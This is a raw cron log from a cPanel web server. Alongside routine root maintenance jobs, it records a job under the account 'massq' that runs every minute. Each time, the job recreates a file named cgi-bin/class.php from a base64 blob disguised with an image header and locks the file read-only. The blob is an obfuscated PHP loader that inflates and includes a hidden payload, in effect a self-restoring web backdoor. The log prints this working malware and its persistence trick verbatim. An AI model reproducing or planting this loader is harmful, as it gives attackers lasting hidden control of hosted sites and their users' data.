Nov 12 14:02:01 server CROND[19077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:03:01 server CROND[19896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:04:01 server CROND[20707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:05:01 server CROND[21042]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:05:01 server CROND[21043]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 14:05:01 server CROND[21054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:05:01 server CROND[21055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:05:01 server CROND[21056]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 14:06:01 server CROND[22085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:07:01 server CROND[22919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:08:01 server CROND[23461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:09:01 server CROND[24288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:09:01 server CROND[24289]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 14:10:01 server CROND[25123]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 14:10:01 server CROND[25124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:10:01 server CROND[25126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:10:01 server CROND[25125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:11:01 server CROND[26091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:12:01 server CROND[26920]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 14:12:01 server CROND[26922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:13:01 server CROND[27741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:14:01 server CROND[28571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:15:01 server CROND[29373]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
